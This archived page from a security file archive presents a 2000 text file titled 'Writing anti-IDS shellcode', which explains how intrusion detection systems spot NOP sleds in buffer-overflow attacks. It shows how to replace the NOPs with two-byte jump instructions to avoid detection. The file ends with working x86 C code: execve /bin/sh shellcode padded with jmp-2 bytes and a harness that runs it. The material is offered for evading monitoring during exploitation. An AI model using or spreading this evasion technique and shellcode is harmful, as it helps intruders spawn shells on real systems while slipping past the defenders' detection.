never stop questioning

stealthcode.txt

stealthcode.txt
Posted Jul 31, 2000
Authored by r00tabega, Xtremist | Site r00tabega.com

Many IDS systems detect buffer overflow exploitation by looking for a series of NOP's (hex 90) which are typically used to pad the buffer so the offset does not have to be exact. Instead of using NOP's, a stealthy exploit could jump to the next instruction (jmp 0x00) or jump a small number of instructions.

tags | overflow
MD5 | 898e0efcbc94600d8a277a92621efb6f

stealthcode.txt

Change Mirror Download
                        --------------------------
Writing anti-IDS shellcode
==========================
By Xtremist (xtremist@2xs.co.il)
Introduction :
In the last few weeks i had made an intensive study of Intrusion -
Detection Systems like snort. I found that several ways of escaping from
being detected while checking for vulnerable CGI's were already made by
RFP (rfp@wiretrip.net). Also many other common intrusion tactics like
port-scanning was also escaped by using stealth-scanners like nmap. But
I noticed that the IDS had also checked for a person trying to remotely
buffer overflow a daemon. When I searched through the net for anti-IDS
tactics for escaping form being tracked, I found none. So i decided to
do a bit of thinking :).

Detection :
IDS detect a cracker trying to smash the stack by analyzing the
network trafic, and if they find a 0x90 (NOP), they report to the logs
as penetration with the packet's details.

Anti-IDS tactic:
The main problem here is the presence of NOP's in the shellcode.
Exploits usually pad the stack with NOP's so that the return address
dosent have to be exact. It is this NOP which is the problem. The main
shellcode (which probably start execve or append a line to passwd) need
not be changed because it dosent contain NOP's. The problem lies here -

for(i=0;i<(LEN-strlen(shellcode));i++){*(bof+i)=0x90;}

where the beginning of the stact gets padded with NOP's. NOP is used only
to jump to the next instruction without any modification to execution of
the assembly code. NOP=No OPeration. But the same function can be achieved
by using a jump to the next instrucion (jmp 0x00).

The Problems :
1) The jump instruction (0xeb 0x00) is two bytes unlike the NOP
instruction which is only one byte. So the offset has to be more difficult
to calculate because is the return address is in between 0xeb and 0x00
then crash, boom, bang :).
2) A nice shellcode isn't supposed to consist of binary 0's and
this one does (0x00).

Solution :
1) This is not really a problem. If the exploit dosent work we
just have to add or subtract 1 from the offset since the jmp instruction
is 2 bytes.
2) If we cannot jump one byte, we jump two bytes (jmp 0x02) and
this does'nt have binary zero's and will work fine.

Code:
Replace this :
0x90
With this :
0xeb0x02

Thanks to:
Mixter, for letting me know that there would be a problem of
binary zero's if i had jumped and also for all the questions i asked :).

Example code for x86:
char sc[] =
"\xeb\x1a\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x08\x31\xd2\xcd\x80\xe8\xe1\xff\xff\xff/bin/sh";
char buf[256];

int main() {
/* memset(buf,0x90,256); */
int i;

for (i = 0; i < 256; i += 2)
*(short *) &buf[i] = 0xeb02;
memcpy(buf + 256 - strlen(sc), sc, strlen(sc));
((void (*)(void)) buf) ();
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close